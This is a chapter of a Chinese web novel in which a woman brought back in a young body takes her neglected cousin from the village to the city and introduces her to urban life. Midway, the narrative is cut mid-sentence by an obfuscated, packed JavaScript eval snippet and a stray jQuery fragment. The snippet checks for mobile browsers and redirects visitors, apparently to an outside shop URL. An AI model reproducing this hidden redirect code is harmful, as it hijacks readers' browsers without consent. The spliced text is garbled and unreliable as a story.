陈蕴故作惊讶道:“婶子,我带舒兰走是去打工的,带上宋子棠算什么?他也打工?”
“那哪行?”宋母下意识道,轻咳两声,“我就是寻思着你弟弟他长这么大都没出过县城,正好有个机会,就当让他提前去熟悉下环境,你放心,只要给他安排个睡觉的地方,再给他口饭吃就行,绝不给你添麻烦。”
这还不算添麻烦吗?陈蕴快被气笑了,要不是顾忌到宋舒兰,她此刻真的很想骂人。
瞥见身旁又垂着脑袋的宋舒兰,陈蕴道:“我考虑一下吧,等下再跟您说。”
她牵着宋舒兰的手出了门,在胡同口站定,呼了口气,认真组织了下语言,才谆谆善诱道:“我家在桉城的房子不大,是当年父母单位分配的职工房,他们去世后家里只剩我和奶奶,就是你的姑奶奶,你应该没有见过她,不过她人很好,也一定会喜欢你的。”
“我们回桉城以后,你白天上……上班,晚上就要跟我一起回家住了。所以,你愿意我们家再多一个你哥哥吗?”
“不许回答‘都行’或者‘听你的’,也不要考虑拒绝算不算自私,你娘会不会生气,我要听你真实的想法。”
宋舒兰陷入了沉默,她想起这些年只要是她有的东西,哥哥一定要有而且还要更好。可是哥哥有的东西她却大多都没有,在她年纪还小时,也曾哭着向爹娘讨要,后果往往就是被骂一顿或者打一顿。
现在,她好不容易有了对她很好的表姐,有了开始新生活的机会,难道还要分给哥哥一半吗?
她握起拳头,摇了摇头,看着陈蕴的眼睛说:“我不愿意。”
陈蕴欣慰地笑了,其实就算宋舒兰答应她也决不会答应,但她还是希望宋舒兰能主动迈出这一小步。
她摸了摸宋舒兰的头,道:“好。你先去忙吧。”
陈蕴回了屋里找到宋母,直截了当道:“婶子,我想了下恐怕不行,主要是我家里就两间卧室,奶奶和我一人一间,舒兰可以跟我一起住,但表弟……就不方便了。
“嗐,这还不简单,让你弟在堂屋打地铺就行,这大夏天的又不冷,住十天半个月的也没啥。”宋母理所当然道。
作为一个成功的商人,陈蕴已经习惯了有话都不直说,做人做事留个三分余地,不想应承的事一般随便找个借口,对方领会到意思后顺坡就下了。
她已经很长时间没遇见这么听不懂人话,或者说听懂了却依然死皮赖脸的了。
她叹了口气道:“您就非得让我说明白是吗?我不想让他去我家,懂了吗?要不这样,您给他出路费住宿费和餐饮费,那我也能勉为其难地帮他安排个招待所。”
宋母脸色铁青:“你这丫头怎么这样?他也是你弟,你好意思收钱?”
“表弟,还是一表三千里的那种表弟,别叫这么亲热。”陈蕴淡然道。
“哼,不去就不去,到时候你表弟有出息了,你可别攀上来认亲戚。”宋母扭头就走,笑话,要不是看重陈蕴的城里人身份,谁稀罕讨好一个不值钱的丫头?
这门亲戚能走动起来最好,不能也没啥关系,就凭她儿子的本事,想弄个城里人的身份也不难。
她走了几步,想起什么,又返回来愤愤地把那个菜篮子拎走了。
*
傍晚的时候,宋舒兰从田里回来,放下锄头就一脸神秘地拉着陈蕴出了门,一路小跑说要带她去个地方。
陈蕴从没见过她这么兴奋,不由得升起了些许好奇:“去哪啊?要这么着急?”
“到了你就知道啦!”
很快,陈蕴跟着她穿过一片小树林,爬上了村后的第三个山坡。
“你看那儿!”宋舒兰指尖指向正前方。
陈蕴抬眸,只见一片烧得正烈的晚霞,目之所及处全部是橘红色的云彩,而在这片橘红之中,明黄色的太阳如一颗沉甸甸的果子正缓缓地坠入山间。
宋舒兰盘腿坐在山坡上,双手托腮,缓缓道:“我小时候爬遍了附近的每一个山坡,发现这里是看日落最好的地方,后来每次心情很好或者很不好的时候,就会来这里坐着。”
“今天我在田里干活儿的时候,看到云彩很薄,就知道日落一定很好看,忍不住想带表姐来看看。”
宋舒兰有些不好意思道:“表姐你要坐下吗?就是地上会有些脏……”
“没关系。”陈蕴毫不介意地挨着宋舒兰坐下,轻笑道:“是很好看。”
陈蕴意识到自己也确实有很长时间没有安静地看过一场日落了,别说旅游了,她曾经连睡觉都是奢侈。
年轻的时候忙着赚钱,昼夜颠倒,作息混乱。生病之后倒是闲了下来,但又被病痛折磨得整夜整夜睡不着觉。
因此骤然被系统拉到这里,重新得到一副年轻健康的身体,她才好像是要把曾经缺失的睡眠补回来般,每天都睡到日上三竿。
“你每次坐在这里的时候,会想些什么?”陈蕴问道。
宋舒兰想了会儿,摇摇头:“我好像什么什么都没想,就是放空自己,发呆。”
“那你现在可以想一下。”陈云笑道。
“想什么?”
“比如……”陈蕴左手撑地,身体向后仰,右手食指指着前方连绵不绝的山峰,眯起眼睛道,“想一想山的那边是什么。”
宋舒兰弯起眼睛:“山的那边……明天我就知道了呀。”
“对,明天你就知道了。”陈蕴眼底含笑。
太阳完全落下去的那一瞬,透过宋舒兰那双澄澈的眸子,陈蕴似乎看到了小时候的自己,看到了两个平行世界的交融。
这座山她曾经用了二十多年才跌跌撞撞地彻底翻过去,宋舒兰却是死在了山脚下。
而这一次,她会尽全力抓住眼前女孩的手,如同抓住年幼的自己那般,带着她一同爬上去。
*
她们清晨出发,先步行两小时走到镇上,又坐上大巴去县城,在下午两点时才上了前往桉城的绿皮火车。
宋舒兰一路上看什么都新奇,扒着车窗眼睛都舍不得眨一下。
陈蕴原本做好了路上化身百科全书,跟宋舒兰讲解“这个是什么”“那个是什么”的准备,但没想到这小丫头就只是看,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046531|194741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并不发问。
陈蕴很快就眼皮打架,只来得及在脑子里跟998交代一句:“帮我看着宋舒兰,别让她被陌生人骗了。”
便倒头睡了过去。
抵达桉城时是晚上七点,出了车站便是市中心,此时天色将暗未暗,百货大楼已亮起了灯,随处可见墙上贴的杂乱无章的电影海报和各类广告,穿着整洁工装的人们骑着二八大杠在商业街往来穿梭,三五成群的年轻女孩们穿着光鲜亮丽的裙子说说笑笑地走过,偶尔还能看到一辆小轿车。
宋舒兰眼睛都直了,她像是误入了另一个童话世界般,跟在陈蕴的身后亦步亦趋,生怕被人认出来她不属于这里,但越想表现的自然,动作反而越僵硬,直到陈蕴停下,而她没注意,一头撞在陈蕴后背上。
“怎么了?”陈蕴道。
“没事啊。”宋舒兰又在掐自己的中指。
陈蕴没错过她的小动作,问:“紧张?”
宋舒兰抿唇,小声道:“有一点。”
陈蕴想了下,拉着她拐进了一条小路,小路尽头是个菜市场,满地扔的都是烂菜叶子,各位大爷大妈们扯着嗓门为了几分钱和小贩们杀价,一言不合就吵得脸红红脖子粗。
陈蕴弯下身子凑到她耳边,小声嘀咕道:“你看,城里人吵起架来也会叉着腰骂脏话,用词之粗俗跟村里人没什么区别是不是?还紧张吗?”
不得不说,陈蕴这方法虽然邪门了点,但确实有效,宋舒兰缓缓舒了口气,仰头露出个笑脸。
陈蕴顺势又揉了把她的头,问道:“饿了吗?我带你去国营饭店吃饭吧。”
她们中午只在车上就着咸菜啃了两个饼,到现在早消化完了。
“不用不用,我不饿,我们回家再吃吧?”
她这次出来,她爹娘一分钱都没给,连路费都是表姐垫上的,实在不好意思再花表姐的钱了。
可她刚说完,肚子就不争气地“咕噜”一声,她尴尬地摸了摸鼻子。
陈蕴以拳抵唇轻笑:“走吧。”
国营饭店的大肉包子两毛钱一个,宋舒兰双手捧着,一小口一小口吃得格外珍惜,陈蕴见她喜欢,又打包了几个带回家当做明天的早饭。
陈家住在六十年代建成的筒子楼里,厨房和卫生间都位于狭长的楼道中,是公用的。陈蕴带宋舒兰回来的时候,一些人正在热火朝天挥舞着锅铲。
“哎呦,小蕴回来啦?”
“好长时间没见你,干嘛去了?”
“你领的小丫头是谁啊?”
叔叔婶子们热情地打着招呼,陈蕴含笑一一回答。
牵着宋舒兰经过一扇又一扇的门,大多数职工一家人都要挤在这些面积不超过二十平的房间里。
陈家算是个例外,因为陈父还活着的时候大小算是个厂里的干部,得以被分了两间房,打通后重新改造了下,好歹隔出来个两室一厅。
陈蕴摸出钥匙,还没来得及插进锁孔,门就从里面被打开了。
陈蕴看着眼前头发花白却依然精神奕奕的老人,笑着挽上对方的胳膊,喊:“奶奶。”